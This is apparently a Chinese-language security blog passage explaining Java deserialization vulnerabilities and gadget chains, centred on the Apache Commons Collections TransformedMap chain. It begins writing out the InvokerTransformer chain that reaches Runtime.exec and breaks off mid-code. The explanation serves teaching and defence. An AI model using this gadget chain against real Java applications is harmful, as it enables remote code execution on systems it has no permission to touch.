微信公众号:DebugPwn
新浪微博:
http://weibo.com/u/2275304001/home?wvr=5
漏洞简介:
反序列化漏洞有十年的历史,存在于不同的编程语言中,最为明显的当属Java、PHP、Python、Ruby。漏洞的本质就是反序列化机制打破了数据和对象的边界,导致攻击者注入的恶意序列化数据在反序列化过程中被还原成对象,控制了对象就可能在目标系统上面执行攻击代码。
反序列化漏洞特点:
1)、反序列化对象自身的构造函数或者readObject()函数体中有执行代码的能力。
2)、反序列化的对象readObject()中可以调用另外一个对象,另外一个对象有执行代码的能力。
3)、返序列化的对象readObject()中可以调用另外一个对象,另外一个对应在调用另外一个对象,第三个对象有执行代码的能力,以此类推。
而上面掉用过程就是一个执行链,也叫做Gadget,在构造Gadget一般要用到Java的反射机制。
从序列化分类进行分析:
1、Binary序列化反序列化:Object--serialize--data--unerialize--Object
Commons Collections反序列化漏洞
TransformedMap类 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)方法可以生成Map对象,并且当Map对象进行get/set操作可执行任意代码。--炸弹
Transformer类有执行代码的构造方法
Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] { "getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] { null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[] {String[].